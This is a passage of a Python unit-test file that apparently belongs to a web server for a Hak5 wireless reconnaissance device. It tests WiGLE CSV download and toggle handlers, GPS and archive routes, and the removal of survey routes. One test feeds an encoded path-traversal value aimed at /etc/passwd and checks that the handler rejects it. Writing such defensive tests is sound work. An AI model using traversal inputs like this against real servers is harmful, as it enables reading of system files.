||||
self._write('wigle-1.csv', 'lat,lon\n37.7,-122.4\n')
|
||||
status, payload = server.h_recon_wigle_file(self._ctx(('wigle-1.csv',)))
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(payload.filename, 'wigle-1.csv')
|
||||
self.assertIn(b'37.7', payload.data)
|
||||
|
||||
def test_file_download_404_and_traversal(self):
|
||||
status, payload = server.h_recon_wigle_file(self._ctx(('missing.csv',)))
|
||||
self.assertEqual(status, 404)
|
||||
status, payload = server.h_recon_wigle_file(self._ctx(('..%2F..%2Fetc%2Fpasswd',)))
|
||||
self.assertEqual(status, 404)
|
||||
|
||||
def test_toggle_enable_and_disable(self):
|
||||
with mock.patch.object(server, '_wigle_set', return_value=(200, {'ok': True})), \
|
||||
mock.patch.object(server, 'hak5') as hak5, \
|
||||
mock.patch.object(server, 'wigle_files_data',
|
||||
return_value={'files': [{'name': 'w.csv'}]}):
|
||||
status, data = server.h_recon_wigle(self._ctx(body={'enable': True}))
|
||||
self.assertEqual(status, 200)
|
||||
self.assertTrue(data['wigle'])
|
||||
self.assertEqual(data['filename'], 'w.csv')
|
||||
hak5.assert_called_once_with('WIGLE_START', timeout=10)
|
||||
status, data = server.h_recon_wigle(self._ctx(body={'enable': False}))
|
||||
self.assertEqual(status, 200)
|
||||
self.assertFalse(data['wigle'])
|
||||
hak5.assert_called_with('WIGLE_STOP', timeout=10)
|
||||
|
||||
|
||||
class ReconRoutesTest(unittest.TestCase):
|
||||
def test_new_routes_registered(self):
|
||||
expected = [
|
||||
('GET', '/api/recon/scans/1/download/csv', 'h_recon_scan_download_csv'),
|
||||
('GET', '/api/recon/scans/1/download/html', 'h_recon_scan_download_html'),
|
||||
('GET', '/api/recon/gps', 'h_recon_gps'),
|
||||
('POST', '/api/recon/gps/configure', 'h_recon_gps_configure'),
|
||||
('POST', '/api/recon/wigle', 'h_recon_wigle'),
|
||||
('GET', '/api/recon/wigle/files', 'h_recon_wigle_files'),
|
||||
('GET', '/api/recon/wigle/files/x.csv', 'h_recon_wigle_file'),
|
||||
('GET', '/api/recon/archives', 'h_recon_archives'),
|
||||
('GET', '/api/recon/archives/error-2026-08-18-19:21:42Z-recon.db/scans', 'h_recon_archive_scans'),
|
||||
('GET', '/api/recon/archives/error-2026-08-18-19:21:42Z-recon.db/scans/1', 'h_recon_archive_scan_detail'),
|
||||
('GET', '/api/recon/archives/error-2026-08-18-19:21:42Z-recon.db/scans/1/download/json', 'h_recon_archive_scan_download'),
|
||||
('GET', '/api/recon/archives/error-2026-08-18-19:21:42Z-recon.db/scans/1/download/csv', 'h_recon_archive_scan_download_csv'),
|
||||
('GET', '/api/recon/archives/error-2026-08-18-19:21:42Z-recon.db/scans/1/download/html', 'h_recon_archive_scan_download_html'),
|
||||
]
|
||||
for method, path, handler in expected:
|
||||
h, args = server.ROUTER.dispatch(method, path)
|
||||
self.assertIsNotNone(h, '%s %s' % (method, path))
|
||||
self.assertEqual(h.__name__, handler, '%s %s' % (method, path))
|
||||
|
||||
def test_survey_routes_are_gone(self):
|
||||
for method, path in [('GET', '/api/recon/survey/live'),
|
||||
('POST', '/api/recon/survey/start'),
|
||||
('GET', '/api/recon/surveys'),
|
||||
('GET', '/api/recon/surveys/abc'),
|
||||
('DELETE', '/api/recon/surveys/abc')]:
|
||||
h, args = server.ROUTER.dispatch(method, path)
|
||||
self.assertIsNone(h, '%s %s should not be registered' % (method, path))
|
||||
|
||||
def test_original_recon_routes_unchanged(self):
|
||||
for path in ['/api/recon/start', '/api/recon/status', '/api/recon/scans',
|
||||
'/api/recon/events']:
|
||||
method = 'GET' if path.endswith(('status', 'scans', 'events')) else 'POST'
|
||||
h, args = server.ROUTER.dispatch(method, path)
|
||||
self.assertIsNotNone(h, path)
|
||||
|
||||
Reference in New Issue
Block a user